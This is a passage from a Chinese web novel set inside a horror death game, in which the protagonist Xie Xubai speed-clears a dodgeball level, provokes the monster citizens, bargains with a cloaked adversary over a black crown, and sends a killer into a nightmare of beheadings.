那几人相互看了一眼,不以为意地哼笑一声,当着徐队长的面不至于表现得太明显,但眼神还是掩不住对谢叙白的漫不经心:“那得等到猴年马月去了。放心,您派几个人协助我们,我们保证赶在对局结束前回来。” 话音未落,帐篷门口出现骚动,惊呼声如潮水翻涌。 “他们出来了!!” 什么? 几人震惊地转过头,连徐队长也忍不住看了一眼腕表上的时间。 这才一个小时不到啊!? 第193章 游戏继续(3)…… 嘭。 一声巨响,虎背熊腰的凶手直愣愣地倒在地上,露出背上交织缠绕的枝条。 那是一种翠绿色的丝状藤蔓植物,结着晶莹小果的部分偏黄色。枝条如细丝娇嫩,无数根长长地缠绕在一起,像鸟巢般盘踞扎堆,显得脆弱且无害。 然而,被凶手逼到角落的玩家,顿时露出比被追杀时更加惊惧慌张的目光。 他不顾凶手还在面前微弱地挣扎,发疯地检查自己的身体。 冰凉的系统播报声响起。 【玩家“第七使徒”违规袭击球员,判处黄牌警告一张,当局躲避球游戏里的所有诡怪进入狂暴状态,直至游戏结束。】 可这名玩家完全顾不上理会,眼睛发红,几乎找急了眼! 胸膛肚子背双臂大腿……连鞋子袜子都连抓带扯地脱了下来,掰着脚掌指缝仔细看,语无伦次地祈祷。 “不要有,拜托,不要,拜托……没有,没有?没有!哈哈哈哈……” 发现什么都没有后,玩家当场喜极而泣!扑通跌坐在地上,冷汗直冒地大喘气。 也是这时,数道人影从头临下。 玩家惊魂未定地抬起头,一群身穿白色牧师袍的人正站在他的面前。 “不用担心,亵渎之藤只会惩罚罪恶之人,同时庇护纯洁善良的灵魂。只要你不起恶念,它就不会伤害你。” 为首的中年男人说着,义愤填膺地皱起眉头:“刚才发生的一切太可怕了,为了活下去,那些人居然不惜将自己的同胞推向怪物,真是罪大恶极!” “但第七使徒大人引领的队伍,绝对不会有这样的事情发生。” 中年男人眼中迸发狂热的光,对玩家伸出手,和蔼可亲地邀请道:“跟我们走吧,可怜的孩子,在这罪恶的世界,只有相互依存才能活下去。” 死一般的寂静。 在他们的身后,一个身穿白袍的青年慢悠悠地走向关卡出口。 玩家透过人群缝隙,注意到那名青年,登时犹如受惊小鹿般紧盯过去。 青年的衣袍和中年人等是同一制式,但材质明显更为上等,如丝绸般顺滑亮洁。正中间用黄金丝线绣着十字架形状的徽记,左胸口标着“7”的古罗马数字。 他的头发是淡绿色的,有着劣质染发剂调不出来的顺滑。 体格纤长,肤若凝脂,头戴月桂花冠,像古希腊神话中的美神降临。 似乎察觉到玩家的注视,青年微微偏侧头,带着潋滟柔情的眸子含笑瞥了他一眼。 那不是一双正常的眼睛。 眼底深处长出细长的藤蔓,顺着眼球丝丝缕缕地往上攀爬,勾勒出妖异蛊人的图纹。 玩家想起来自己该害怕的时候,青年已经转身,身影消失在安全出口。 玩家的目光又重新回到中年男人递过来的手上。 良久,他挤出一个比哭还难看的笑容,在恐惧中颤颤巍巍地握住对方的手:“好,我加入……” 中年男人高兴地欢迎他的加入! 翠绿的光芒从数双热情洋溢的眼睛中划过,诡谲到极点。 玩家勉强地迎合,没有发现自己的后颈悄然冒出一截翠绿的小芽,又悄然钻入皮肤,隐入浅色的血管。 在他们的四周,翠绿藤蔓铺天盖地爬满每一个角落,数不清的玩家和怪物被缠绕其中。 小小的藤蔓宛如游蛇,在他们削薄的皮肤下游走,扎根在骨骼皮肉,从口鼻、从眼球、从指甲缝、从每一寸肌肤生机勃勃地抽出枝条。 凶手的身体不知道被哪一些藤蔓拖了过去,双眼无神,呼吸断绝,像被抽干灵魂的木偶,唯有肌肉还在藤蔓的摄取下反射性地抽搐着。 得到滋润的枝条如潮水般蔓延,茂密茁壮,很快将整个空间变成绿色海洋。 几根藤蔓像吃饱喝足,餍足地舒展开,在镁光灯映衬下,反射出一片璀璨迷人的绿光。 第七使徒走出通道,看见柜台前有个棕色卷发的小男孩正目不转睛地扬着脑袋,瞬间眼前一亮,活泼欢快地冲上去将男孩一把抱起,不停地蹭脸蛋:“oh!我可爱的小羊!你在看什么东西?” 男孩手里抱着白羊模样的卡通玩偶,穿着和第七使徒同样款式的白色衣袍,不同处在于他胸口写着“12”的古罗马数字。 他的睫毛浓密非常,瞳孔如天空般湛蓝,小皮靴锃亮,白色长筒袜贴到小腿肚,像童话故事里的波斯小王子来到了现实。 男孩站着时没什么表情,被突然抱起来时也一样,抱着玩偶不说话,眼下一圈疲乏的青黑,有种空洞的麻木感。 没得到回应的第七使徒也不生气,顺着男孩的视线看过去,发现是躲避球游戏的通关记录板。 最上面一列赫然显示着他们刚才的通关记录:26分钟。 任何人看到这个离谱的通关时间估计都得惊掉下巴!第七使徒摸了摸下巴,颇为自得,时间和他估计得差不多。 他很好奇中洲背景的恐怖游戏是什么模样,所以在关卡内多闲逛了一会儿,不然还能再快个五六分钟。 而下面…… 第七使徒忽然眯了眯眼睛。 第二名的通关记录只比他们慢10多分钟,几名属下看到的时候也很惊讶。 直到看见布莱恩的名字,属下就不奇怪了,笑着恭维道:“看来雷神也参加了这个游乐项目,但还是大人们更强。” “雷神?” 第七使徒似乎发现什么有趣的东西,怪异地笑了一声:“不,和他关系不大。” 游戏没有限制人数,那头暴躁的狮子就算怜悯弱者,也只会让所有人一起上。 “而且他的名字只有三次出现在了这个队伍里……呵呵,不仅没有被选为队长,连心腹都算不上吗?” 听到这话的属下蓦然震惊地瞪大双眼。 雷神那种骄横狂妄的性子,居然肯给别的队伍打白工,简直比天塌下来还要不可思议! “宴初一……” 第七使徒念出这个每次都会出现在队伍里的名字。 五次游戏,五个通关记录,最差的都在十五名,最好的两次记录包揽第二第三。 第十六名都在三小时半往上了,根本没有竞争的能力。 但排名第十五名的记录,也有三小时那么长。 第七使徒不知道想起什么,猛然激动地笑起来,举起男孩转圈圈。 寄生在瞳孔里的藤蔓图纹似乎也在那愉悦的情绪里,兴奋地抖个不停。 “最开始平庸到毫不起眼,却能在之后的时间里一点一点往上爬,直到把所有人都高高在上地踩在脚底,真的像极了white!难怪你会看得这么入迷,小羊!” 刚来的时候,第七使徒没有往记录板上瞄过一眼,只因他知道自己的名字必定会出现在第一列。 现在却迫不及待,带着浓郁的战欲询问手下:“第二个记录是什么时候的事情?” 两名使徒把游乐场的项目几乎玩了个遍才过来,但手下们早就前来站场的。 闻言他回答:“差不多快四十分钟。” 四十分钟? 比第二名的三十分钟还长。 第七使徒眼中兴奋的战欲立马散了个干净,大失所望。 他不甘心地盯着记录板,越看越入迷,到了一种堪称狂热尖刻的地步,疯狂抖动的藤蔓仿佛要从瞳孔里抽条长出来。 “小羊。”第七使徒问,“你觉得这个叫宴初一的中洲人会是white吗?” 男孩垂下浓密眼睫,抱着白羊玩偶,似乎有些困乏了。 他第一次开口,没劲儿的声音像在呢喃自语:“white没有这么弱。” “……”第七使徒瞬间冷静下来了,笑了笑,“是啊,那可是一连吃掉我们十一人的白色撒旦呀。” 第七使徒抱着男孩慢悠悠地朝外走去:“white心心念念的游乐场还没有我们那边好玩,我差不多要玩腻了。对了,你说那个叫谢叙白的神祇会是white吗?他的名字中有一个白字欸,而且性格好像也和white差不多……” 全然不顾几名属下被这惊心动魄的秘闻惊得冷汗直流,魂飞魄散。 天啊!第七使徒大人刚才说的什么,“吃”? 第七使徒的“吃”是标准用语,没有任何歧义,啖肉食血的“吃”。 属下们不懂【十二使徒】的具体运行模式,只知道使徒的挑选充满血雨腥风。 为了通关游戏,赎回地球,由全球最高联合会组织,将世界各地有希望晋升神级的玩家集结在封闭的区域中训练,不停筛选淘汰,直到最后剩下十二人,成为如今的【十二使徒】。 竞争当选的十二使徒至今仍有嫌隙,让人猜测当初一定发生了相当不美好的事情,却没想过能残忍到这种程度! 其中一人惊恐地张嘴,被另一人眼疾手快地捂住嘴,汗流浃背地摇头。 千万别问!别提!这种秘辛不是他们能随便置喙的! 也是这时,恍惚抬头的属下看到通关记录板上陡然变化的数字,没忍住脱口惊呼:“天啊,第一名——” 已经走出帐篷门口的第七使徒骤然停步。 下一秒他的身体闪现在通关记录板前,迎着众人恐慌的目光,看着自己第一的位置被一个崭新的记录时间取代,瞳孔一寸寸地放大。 似乎昏昏欲睡的小男孩,也唰一下睁开眼睛,湛蓝眸子直勾勾地盯着最上面的排名,有些失神。 队伍里的一长串名字显示在第一列,足足十多个。 但“宴初一”的名头稳居第一,被系统判定为当局贡献度最高。 第七使徒的呼吸停滞了,看着看着,眼神便迷离勾人起来,笑容从高扬的嘴角浮现而出,宛若喝下大量葡萄酒般,脸颊染上大片的红晕。 那通关时长赫然显示着一个惊人的数字—— “十一分钟???” 等候在外的玩家们拽着刚出来的队友狂摇,激动到语无伦次:“两场对局,平均用时五分钟左右,还要算上进场时间,你们开挂了吧?!” “我不知道啊!”那人被晃得头晕眼花,“我们就是听了初一大佬的吩咐,进去之后就开跑,让打哪儿就打哪儿。” 然后跑着跑着就找到球和凶手了,打着打着就这么迷迷糊糊地通关了! 一小时内通关还有额外的积分奖励,他们也特别高兴! 其他人也是差不多的经历。 如果说之前还有人质疑谢叙白的能力,那么现在没人胆敢吭声,悻悻地摸着鼻子。 想起被带飞时的快感,连和谢叙白对视都觉得羞愧。 徐队长看着倒是挺乐呵。 说一千道一万,不如谢叙白直接炫技打脸,他打赌这下肯定没有呛声不服管的刺头了。 至于徐队长,他也放弃了旁敲侧击试探青年到底属于哪个组织,毕竟这样的能力要对付他们轻而易举……等以后培养出队友情,有合适的时机再问吧。 出去搜索的队伍带回火车站的线索,人们吃饱喝足,休整完毕,欢快地准备出发,气氛一片其乐融融。 也是这时,他们突然发现谢叙白站在原地,没有跟上来。 青年的影子被拖曳得很长,中间隔着大片阳光直照的距离,和耸动快活的人群影子对比,形单影只,沉默削瘦,叫人看着心里不是滋味。 谢叙白看他们一眼,喝完从后勤那里拿到的最后一瓶A级试剂。 就是再怎么抗造的人,这么频繁地补充试剂又消耗完,精神上也吃不消。后勤小姐姐看得眉头狂跳:“欸!你别急,这里还有呢,一会儿路上缓一缓再喝,啊。” 岂料谢叙白开口说:“你们先走吧。” 众人大惊失色。 难道大佬终于忍受不了他们菜如鸡还喜欢叨逼叨,要丢下他们单干了?! 徐队长也是这么想的,但转念又觉得不对。 宴初一要是真的嫌弃他们,就不会为了能保证全员无死亡通关,而耐着性子总共分六组进行对局,白白耗费这么多时间。 布莱恩对上谢叙白毫无波澜的眼睛,从第一场对局结束后,他就有种强烈的预感。 【你很愤怒。】 布莱恩心脏狠狠一跳,在意识交流中沉声。 【你那么快通关游戏,一次次将通关时间压缩到极限,不是为了向其他人证明自己这种可笑的理由,你是要……?】 谢叙白面无表情地打断他的话:“不管你们怎么想的我,拖着这么一个老弱病残的队伍全部过关,我也算仁至义尽了。从现在起,我和你们恩断义绝,我想做的事情也和你们没有任何关系。” 说罢他不理会神色各异的众人,转身朝着躲避球店的老板走去。 * 水墨空间的谢叙白,啪一声落下一枚白棋! 第194章 游戏继续(4)…… 店老板如丧考妣地看着通关记录板。 不仅连续六局没死一个人,甚至时间还被压缩到十一分钟! 天啊! 这感觉就和开密室的被人三分钟通关一样致命,是挂在网上都会被人喷职业生涯作假的程度,开店以来头一次遇到这样的滑铁卢! 再一看谢叙白居然还在往这儿走,店老板扭曲的脸皮狠狠一抖,这他丫的赶尽杀绝来了。 他压抑着想杀人的火气,赶在青年开口前拒绝:“行了!老板突然身体不适,今日休业暂不接客!” 谢叙白走过来只要十几秒,但他在原地等了几分钟。 直至玩家们差不多都离开了,方才抬步。 五十多米的距离,每踏出一步,他的气质也悄无声息地改变一分。 待走到老板的面前站定,谢叙白的嘴角竟然是向上翘着的,墨黑眸子在阳光映衬下反射出浅淡的光晕:“到底是身体不适,还是怂到不敢继续玩?” 不等店老板说话,青年狭长的眼睫毛垂下,似浓密鸦羽抖颤。 随着眸子弯起的弧度,轻慢嘲讽的笑意振翅而出。 “不过也没关系,毕竟你设计的游戏是那样无趣。” 谢叙白笑着说:“都让我玩困了。” 原本店老板还只是憋着火,“无趣”两个字一出,好似千钧重锤砸在他的胸口,霎时间让他脸色惨白。 也在这两句话出口的瞬间,如同一石激起千层浪,只有老板能看见的店铺后台面板上,铺天盖地的恶评如潮水般滚滚袭来! :说得对,前面看着还有点意思,后面越看越没劲,关卡设计也太简单了吧? :玩家一次比一次快,再来一局估计要逼进十分钟以内,老板不让玩明摆着是慌了。 :就这种破水平也能开店? :我不服!凭什么我一年申请三次都没成为店主,这个小丑却能开店?是不是走后门的!? :随便搞点破解谜滥竽充数,播放量就有了,可惜经不起推敲琢磨,会玩的一点就破。 :X的让外来者贴面嘲讽!你就这么眼睁睁地看着? :丢死诡了,老板趁早关门吧! …… 游乐场不需要支付门票,与之相对的,直播频道播放量就成了店铺老板赖以生存的根本。 观众点评和播放量直接挂钩,差评多的频道,除非喜欢热闹八卦的乐子诡,别的诡看一眼就不想了。 特别还是质疑水平能力的差评。 谢叙白的嘴更是没停过。 “线索给出与其说是简单明了,不如说就是在敷衍,关键信息扫一眼就能看到最终结局,全是故事书里的老套路。” “开局的追逐战更是毫无惊喜感,全程都是“群怪”加“扑脸”的老套组合,真的会有人喜欢这种单调的追逐游戏吗?有这个闲工夫我为什么不去参加马拉松障碍长跑?” “设计只在最开始让人耳目一新,多了就会发现只是换汤不换药,重复累赘的环节你自己看了不觉得无聊?还是说绞尽脑汁逼出这么一点东西就已经让你黔驴技穷了?” 青年说话不高不低,声线犹如小溪流水徐徐道来,但就是这种慢条斯理,给了人一种居高临下的俯视感。 店老板眼睁睁地看着自己的实时播放量悬崖式直降,好多观众被气到转频道,脸颊涨红恨不得冲上去掐住谢叙白的脖子:“你闭嘴!” “不闭。”谢叙白笑了笑,“有本事你就反驳我啊,是不爱反驳吗?哦,原来是根本反驳不了。怎么,你忍不住做出一副要杀了我的表情,是不是戳中你痛处让你恼羞成怒了?” 店老板:“……” 他差点原地爆炸。 广告牌荧幕上的瘦长鬼影一张标准式笑脸都快绷不住了,在激烈的投诉电话声中愈发僵硬,几乎要裂开。 形势似乎到了不关门就无法收场的地步,也正是这时,谢叙白突然转身跨出几大步,面对着广告牌朗声一笑。 “各位尊敬的王国公民们,我知道你们在看!” 谢叙白放声大笑,语气更是说不出的嚣张:“本人是个资深游戏控,所以刚才言辞激烈了一点,请原谅我的畅快直言!不原谅也没事,反正我也不会改!” “所有人都听清楚,我只说一点,如果这样的垃圾游戏都能让你们满足,那只能说你们游戏王国的真实水平不过如此!” 谢叙白:“都是垃圾!” 原本兴致缺缺想转频道的公民们,一听这话,登时勃然大怒。 能喷到店老板不敢吭声是你有本事,但广开嘲讽一杆子打死所有人是几个意思? 刹那间,它们也不想转频道了,对店老板的恶意抨击劈头盖脸全落在谢叙白的身上。 :才玩过几个游戏啊就这么拽? :不是我说,二十岁乳臭未干的毛头小子能玩上什么经典大作?简直不知天高地厚! 这都是轻的。 更多的公民根本就不讲道理,身为诡怪的它们,心里只有被侮辱后森寒的杀意。 :他竟敢诋毁游戏王国。 :不可原谅! :杀了他! :将他抽筋剥皮,挖掉他的眼珠子,扯烂他的嘴! :杀了他杀了他杀了他杀了他杀了他杀了他!!! 如果谢叙白有玩家面板,会听到系统不断爆出冰冷高亢的提示音。 【叮!很不幸!王国公民A对你的好感度降低至“厌恶”,无论人再多的场合它也能第一时间锁定你丑恶的气息,并想方设法下绊子。】 【王国公民B对你的好感降低至“敌视”,一旦行迹暴露,你将在任何场合受到它的无限追杀。】 【王国公民C刚刚发布对你的高额悬赏!】 …… 【恭喜你!凭借三言两语就拉到王国公民大部分人的仇恨,你已在公民评论区里惨烈出殡!】 走在路上的徐队长等人忽然有种不祥的预感,猛然停下脚步,回头眺望着谢叙白所在的方向。 几秒的沉默。 有人率先说道:“初一大佬不对劲,他突然丢下恩断义绝的狠话,看着就像要去英勇就义似的。” “废话,你以为就你看出来了吗?” 说话的人是个A级,此前一直暗中对谢叙白开嘲讽,现在却无意识透着对谢叙白的维护,烦躁得慌:“他都那么强了,还要把我们支走,说明接下来他想做的事情一定很危险,我们留在那里只会给他拖后腿!” “那咋办啊?”有人愁眉苦脸,“大佬都觉得危险了,没准还会死,他没收任何酬劳带我们闯关,我们却要坐视不理吗?” “说了帮不上忙过去就是添乱!” “那也不能啥也不做啊!” “你们这么殷勤积极,该不会是舍不得宴初一这个免费无偿的劳动力吧?” “我艹你丫的,瞎说什么呢!” 几个人登时吵得不可开交,沉默的大多数则看向了徐队长。 徐队长拧着眉头,为难地看向队伍里的老人小孩。 现在是下午四点左右,天色还比较亮,但接下来会遇到什么都是未知数。 万一耽误时间没能及时离开,在这种空寂开阔的地域,黑灯瞎火是最危险的,根本没有地方给他们藏。做队长的,哪怕他很想留下来等宴初一,也要为队伍考虑。 后勤小姐姐严肃提到关键问题:“队长,他身上没有任何道具。” 一开始找他们要精神力补充药剂,还可以说是舍不得,所以薅别人的羊毛。 但后面速通闯关,要争分夺秒,谢叙白要是自己有储备,肯定在关卡里就迫不及待地用了,哪需要把自己榨干到极限,在最后一次对局开始前足足休息了二十来分钟。 在谢叙白主动和他们断绝关系,留下来独自涉险的时候,无论他身上有什么疑点,都已经不重要了。 重点在一旦谢叙白出事,用不出能力也没有道具防御,他的处境会很危险。 另一名后勤人员说:“队长,我留下来接应宴初一吧,如果有什么事情搞不定或突发意外,就给你们传消息。” 徐队长点头,另外差遣两名战斗队员一同留备。 稀奇的是,在听到他们准备留下来接应谢叙白时,某些嚷嚷着要走的玩家也跟着留了下来。 粗略一算,居然有十多个人。 布莱恩没留下来,他知道就算找到了火车站,也不一定能顺利进入下一个层级关卡,准备把过关条件全部弄明白后再回头来找人,谢叙白是个好盟友,他想结交。 临走前,布莱恩给了后勤一个空间袋子,只有特定的人能打开,让对方转交给谢叙白。 回到谢叙白这边。 空旷的街道上没有一个人影,气氛却空前绝后的紧张,一触即发。 公民们的怨气浓郁到化作猩红黏稠的血雾,从广告牌中渗透而出,汇聚在谢叙白的周围张牙舞爪,疯狂涌动。 但因为棋盘无法独立杀死棋子的特性,它们奈何不了谢叙白分毫,只能在旁边恨得牙痒痒。 谢叙白笑着朗声道:“别不服气!我打赌,这个店老板如果让我来当,绝对不会像现在这么无聊!” 观众们也是绷不住了,气急攻心。 :@&*@!*不要脸! :那你去当啊!我支持你去当!快去!我要花钱刷差评! :真的不能让他上手吗?我倒要看看他能设计出个什么花! 本就是一群容易情绪化的怪物,怎能受得住这样的激。 没一会儿,居然真的有热心观众强烈要求让谢叙白当这个店老板! 而看直播听到这个要求的其他公民也坐不住了,纷纷云集响应。 不是为了看谢叙白有多么厉害,是为了给他刷差评!狠狠地贬低他,唾骂他! 瘦长鬼影不存在的眉头狠狠一跳,瞄见谢叙白嘴角勾起的微末弧度,荒谬感如惊涛骇浪袭来,它发觉了,这才是谢叙白的真正目的。 ——他想当老板! 果不其然,谢叙白似乎勉为其难地点头:“既然大家的反应这么热烈,那我就给你们小露一手,也不需要限制什么人数,就让我成为店老板设计游戏,再让店老板和我一对一对局!” “不行!这不符合规矩!”瘦长鬼影不祥的预感越来越浓烈,连忙否决。 谢叙白轻蔑地扯了下眉头:“合不合规定不该由你说了算吧?听说那位传说中的黑王陛下也在关注这场游戏,难道一切不该以尊贵的陛下的意愿为主吗?” 是啊,黑王陛下在关注这场游戏! 暴跳如雷的观众们一滞,留言出现大片空缺,不少诡怪急不可耐地删掉前面的带脏字的发言,收敛措辞整理语言,让自己显得文雅端重一些。 但气氛半点没降下来,反而在愈发热烈的烘托下推上高潮! 店老板和瘦长鬼影插不上话,变得骑虎难下。 有观众终于看不过眼,冷嘲热讽。 :行了!一个卑贱的人类,你以为你是谁,陛下肯赏脸看你一眼都是莫大的荣幸,怎么可能答应你这种无理的要求。 * 水墨空间,谢叙白看着被黑雾扼住致命部位的斗篷人,淡淡地问:“那你觉得这个要求很无理吗?黑王陛下?” 他忽然轻笑,话锋一转:“不,称呼黑王都是抬举你,你充其量只能算个黑王代理。” 斗篷人:“……” ta看了一眼捆住自己的黑雾,邪神躯壳对ta释放的杀意简直比那些公民比谢叙白的杀意还要浓烈。 明明脑子(意识)都没了,还半点不肯让谢叙白吃亏。 ta嗤笑出声:“我不可能同意,有本事你就杀了我。” 杀了ta,整个棋盘世界直接崩塌,全体玩家陪葬。 同时作为创立对局的双方,未以棋局决出胜负,算违规,谢叙白也会死。 唯一高兴的大概就是系统了,所以斗篷人笃定谢叙白不会这么做。 “我没必要杀了你,威胁你的方式有很多。”谢叙白抬了抬手,黑雾立马高兴地蹭了上去,眷恋地在修长手指上缠绕好几圈,方才在谢叙白掌心“吐”出一块黑色的东西。 斗篷人的瞳孔微微一凝。 那正是之前ta欲要给谢叙白戴上,却脱手掉在地上摔碎的荆棘黑冠! 第195章 游戏继续(5)…… 斗篷人第一反应是将王冠召回,丝丝缕缕的漆黑能量线在眼前汇聚,却怎样也无法凝聚成型。 怎么可能? 那可是能量和规则的聚合体,不是具体的实物。 比如谢叙白用精神力凝聚出的项圈,向来都不是随随便便被谁拿到手上就属于谁。 它们是有“主”的,为什么没有听从召唤? 除非…… ta冷冰冰地看向邪神躯壳,眉心狂跳。 ——除非某邪神【剥夺】了王冠的控制权。 被片成豆腐渣都阻止不了祂偷偷摸摸搞点大动作。 ta错了,不该说邪神躯壳没脑子,这躯壳可太有脑子了。 前面和谢叙白对招的失策都在斗篷人的接受范围内,而这次,ta真真正正地感到了胃疼。 谢叙白用精神力包裹手指,挑起荆棘黑冠,眉眼沉静,条理不紊地分析:“凭你这种不肯屈服人下的性格,甘愿唱出那段带有臣服意味的咒法,说明这是系统交代给你的任务,你不得不做。” “为什么系统需要给一个有王的世界重新拟定新王?笼统不过三种情况,其一系统想让我当王,其二黑王出了事,急需找人替补,其三为了和原本的黑王对抗。” “黑王代表游戏王国,和黑王对着干就是和系统对着干,系统没理由自己打自己。第三种可能排除。” “系统已经安排你来对付我了,如果需要替补,没必要舍近求远。第二种可能排除。” “剩下第一种可能。” 谢叙白一针见血:“其实仔细想一想,在这个虚拟的棋盘世界,又哪里需要什么【黑王】?或许根本就没有所谓的【黑王】,它不过是系统为我拟定的身份,一个用来捆缚我的陷阱。” 斗篷人反唇相讥:“猜得很好,继续猜。” “谢叙白,不管你推测得再怎么惊天动地,最后也不过是你的臆想而已。怎么着,难道你指望我给咱们叙白小朋友发一张‘奇思妙想创意家’的奖状吗?需不需要再给你的手背盖几朵鲜艳可爱的小红花?” “确实,只要你咬紧牙关不松口,我就没办法证明自己的猜测是否正确。” 谢叙白笑了一下,话锋骤转,如染冰霜:“可是店老板我杀定了,得不到黑王的首肯,又该怎么办呢?” 他食指弯曲如白玉勾,钓着黑冠摆到自己的面前。 风轻云淡的笑容,映衬着冠冕上蜿蜒丛生的荆棘,隐藏在削瘦身躯下的气势,却如出鞘利刃般凌厉。 “要不然,还是让我来成为这个黑王吧。” “毕竟你和系统苦心孤诣想让我成为这个黑王,我又怎能辜负你们的好心?” 谢叙白偏头,对着旁边拨弄他耳垂的小团黑雾下意识温柔一笑:“只是你姑且猜猜看,被邪神剥夺过的黑冠,到底是会如你们所愿地困住我,还是会实实在在地赋予我黑王的权柄?” “……”斗篷人说,“不,别唬人了,你连拿起它之前都要用精神力护住手,又哪来的胆量将它戴在头上?” 谢叙白:“我何必用自己的本体涉险?” 他伸手悬在棋盘上空,摇摇晃晃的黑冠跟着坠在其中一枚白子的头顶:“这里的棋子不多得是么。” 斗篷人的眉头狠狠一跳。 气氛陷入片刻的凝滞,仿佛一触即发。 斗篷人知道,谢叙白还是不敢。 不然以谢叙白一贯的作风,只要有30%的成功概率他就敢豁命去赌,哪里用得上在这里和ta多废话,早就不吭不响地把王冠用在分魂身上了。 但相对的,谢叙白也知道斗篷人不敢赌那百分之一的可能性。 游戏王国以黑王为尊,如果真的让他无痛成为黑王,斗篷人和系统还在这里玩什么?倒不如直接宣布认输显得干脆利落。 考虑到这种可能性,谢叙白真的很心动,只是刚冒出这种想法,就被黑雾揪住他耳垂的力道唤回了神。 平安,小一,谢少侠,裴院长,岑海跃,妈妈,亲生爸妈,执法机构的众人……还有宴朔。 他现在不是一个人了,有很多人在等待他回家,就算打定主意要冒险,也必须是有把握的冒险。 谢叙白在心中告诫自己,邪神躯壳没有意识,只是凭本能觉得黑冠对他很危险,就想也不想地抢了过来。 躯壳没法直截了当地告诉他,这顶黑冠究竟被“净化”到了什么程度,戴上后又有什么样的副作用。 白子虽然是被分出去的精神体,但仍旧与他有联系,谁知道系统是否会以此为媒介来操控他? 所以谢叙白在赌,斗篷人也在堵,在面不改色强装镇定,在深思熟虑衡量利弊。 在伺机等待对方扛不住压力,流露出哪怕一丝一毫的破绽利用攻击。 ——这是真正的心理博弈。 时间一分一秒地过去。 许久没有得到回应,棋盘世界王国公民耐心告罄,将谢叙白的毛遂自荐批判为哗众取宠的小丑行径,嘲讽不断,嗤笑鄙夷,风向一边倒地倾轧。 水墨空间的谢叙白全程佁然不动,保持着气定神闲的姿态,指尖却在移动,勾着黑冠缓缓往白棋上落。 看似浑不在意的斗篷人,实际注意力紧紧地落在了邪神躯壳的身上。 不知道是真的放心,还是对谢叙白的耳垂着迷,黑雾一直对着那团白嫩的软肉,兴致勃勃地拨来拨去,拨来拨去…… 斗篷人简直忍无可忍:你是逮到玩具就不肯放手的三岁小孩吗?到底要玩多久!看看你旁边的人,他在找死啊!! 殊不知谢叙白也在不声不响地用识念柔声暗示:乖,就是这样,别理,别停。 终于,在黑冠将要落在白棋上的一刹那,斗篷人骤然厉声喝止:“够了!” ta闭了闭眼:“就算你吃掉这枚棋又能怎么样,以一换一难道你就能好了?” “那是我要考虑的事情,和你无关。”谢叙白突然道,“幸存者。” 谢叙白头一次叫出ta的名号,平静的面容下仿佛翻滚着汹涌的浪潮。 他直接摊牌,声线寒若冰霜。 “我不管你是谁,但你选择把伤害过我家人的凶手拿出来刺激我时,就该清楚,这个人,他必死无疑。” * 当瘦长鬼影宣布黑王同意了谢叙白的请求时,王国公民们瞬间一脸呆滞,不敢置信! 这个卑贱无礼的人类,凭什么能得到陛下的青睐? 过于震惊无人评论,导致评论区出现大片的空白,几秒后又如热水般轰然沸腾。 怀疑谢叙白暗中使诈,怀疑谢叙白和黑王有关系……各种议论猜测层出不穷! 在这种吵闹不休的氛围里,欲要逃跑的店老板猝然发现自己迈不开步子,在【规则】的逼迫下,惊恐地走进游戏通道。 新一轮躲避球游戏开始了。 …… 凶手站在原地,动弹不得。 周围有许多人,以他为中心围成个圈,黑白分明的眼珠静悄悄地看着他。 他们有着一张张曾经被他杀死过的人脸,恐慌感自凶手心底蔓延,想放出点狠话为自己壮胆,却发现自己张不开嘴,无法出声。 不过眨眼的功夫,面前这些活生生的人就变了,柔软且富有弹性的肌肤松弛下去,变得苍白,毫无光泽,死气沉沉,爬满暗紫色瘢痕的躯体,是看一眼都会觉得冰冷的程度。 那些凝视着他的眼珠子也迅速灰败下去,像死鱼的眼睛,呆滞,空洞,却还是紧紧地盯住他。 站在凶手正前方的男人缓缓抬起头。 咔的一声。 一道银白冰冷的亮光掠过,污黑的血从脖颈截面喷涌而出。 无头尸体啪一声倒在地上,脑袋摔在地上,骨碌碌地滚到凶手的脚边。 凶手感觉得到,它的牙齿碰到了自己的脚。 寒毛直竖。 可他依旧动弹不得。 惊魂未定之余,又是一声刀刃砍断骨头的重响。 男人旁边的女人头颅瞬间落地,皮球般弹跳两下,砸到他的小腿,滚烫的血浸入裤管布料,顺着肌肤和腿毛淌下,那是一股黏稠的热意。 凶手头皮都要炸开了! 他仓惶抬头,昏暗的视野里,银白亮光如死神镰刀不断挥下,一颗颗脑袋甚至来不及挣扎,就掉在了地上。 刀光也离他越来越近,像无情的收割机。 一个、两个、三个…… 六个! 七个! 八个! 周围总共十二个人,它就要过来了,它就要来杀掉他了! 没人能在直面死亡的时候无动于衷,凶手的心脏猝然提到嗓子眼。扑通、扑通、扑通……!心脏在狂跳,手脚冰凉发僵,冷汗浸满后背,他仿佛已经嗅到了刀口浓郁的血腥味,已经感受到刀光切割皮肤的刺痛。 终于轮到他。 逆光中看不到刀手的脸,只能看见锋利的刀锋,气势汹汹地高举在眼前。 凶手吓得闭眼,却没感受到任何疼痛。 冰冷的气息消失了。 他仓皇地睁开眼,看到之前倒在地上的尸体都爬了起来。 只见他们怀里抱着一颗圆滚滚的死人头,脑袋上的人脸竟然是凶手自己的脸!泛白僵硬,没有一点生气! 凶手骇然,听到有人在他身边低语,冰冷的吐息自汗毛掠过。 “七天后,就是你的死期。” 有人在背后啪地拍了他一下,神经紧绷的凶手如受惊老鼠吓得惨叫,飞快转身。 他瞳孔凝缩,看见无端消失的刀锋重新悬在他的头顶。 拿刀的谢叙白对他微微一笑,倏然挥动手臂,镜片反射出冰冷的光,杀猪刀裹挟寒风破空而来,用力地朝他的脑袋砍下—— 咔! 凶手猛然睁开眼,汗流浃背地坐起了身。 窗外阳光明媚,室内却阴冷无比,冰凉的汗水黏在后背。 凶手胸口起伏不定,慌张焦急地摸上脑袋,发现没有伤口,大大地松了一口气,凶狠地环顾四周。 x的居然敢装神弄鬼吓唬他,他要把谢叙白大卸八块! 一个带着滚烫水汽的毛巾却忽然盖在了他的脑袋上。 “醒了还赖什么床?快点洗脸起来吃早饭,然后去干活,好不容易给你找到的工作,别迟到!” 第196章 刽子手之死(1)…… 毛巾搭在脑袋的瞬间,滚烫水汽扑面,凶手拽下毛巾,面目狰狞,暴跳如雷:“我艹你X!” 哪怕他已经痊愈多年,也接受不了有东西碰到自己被烧伤的脸! 女人似乎被他一脸凶相给吓到了,直到凶手看清她的长相,话音一滞,不敢置信地喊出声:“姑妈?” 女人才蓦然瞪圆眼珠子,怒气冲冲地拧住他的耳朵:“你还知道我是你的姑妈!告诉我李勇,你刚才想艹谁?啊?” “不是。”李勇顾不上躲,错愕地看着女人,“你不是早就死了吗?” 